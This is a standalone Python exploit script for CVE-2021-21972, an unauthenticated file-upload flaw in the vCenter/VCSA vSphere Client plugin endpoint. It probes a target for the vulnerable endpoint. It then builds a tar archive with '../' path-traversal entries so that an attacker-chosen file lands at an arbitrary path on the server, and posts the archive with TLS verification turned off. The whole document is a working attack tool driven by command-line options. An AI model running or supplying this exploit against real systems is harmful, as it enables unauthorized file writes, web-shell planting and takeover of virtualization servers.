CVE-2021-21972

#!/usr/bin/python3

import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'

def check(ip):
    r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
    if r.status_code == 405:
        print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
        return True
    else:
        print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
        return False

def make_traversal_path(path, level=5, os="unix"):
    if os == "win":
        traversal = ".." + "\\"
        fullpath = traversal*level + path
        return fullpath.replace('/', '\\').replace('\\\\', '\\')
    else:
        traversal = ".." + "/"
        fullpath = traversal*level + path
        return fullpath.replace('\\', '/').replace('//', '/')

def archive(file, path, os):
    tarf = tarfile.open('exploit.tar', 'w')
    fullpath = make_traversal_path(path, level=5, os=os)
    print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
    tarf.add(file, fullpath)
    tarf.close()
    print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')

def post(ip):
    r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
    if r.status_code == 200 and r.text == 'SUCCESS':
        print('[+] File uploaded successfully')
    else:
        print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
        print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The file to tar')
    parser.add_argument('-p', '--path', help='The path to extract the file to on target')
    parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
    args = parser.parse_args()

    vulnerable = check(args.target)
    if vulnerable and (args.file and args.path and args.operating_system):
        archive(args.file, args.path, args.operating_system)
        post(args.target)